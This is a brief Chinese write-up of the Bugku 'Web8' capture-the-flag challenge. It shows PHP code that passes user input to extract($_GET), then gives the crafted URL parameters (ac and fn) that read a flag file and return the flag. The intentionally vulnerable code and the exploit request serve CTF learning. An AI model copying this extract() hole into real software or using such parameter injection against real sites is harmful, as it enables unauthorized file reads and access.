bugku Web8

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}

?>

根据题目的提示我们猜测目录下有txt文件，于是我们试出了http://120.24.86.145:8002/web8/flag.txt下有flags

于是根据题意构造得http://120.24.86.145:8002/web8/?ac=flags&fn=flag.txt

便得到flag

如有疑问请联系qq：834368404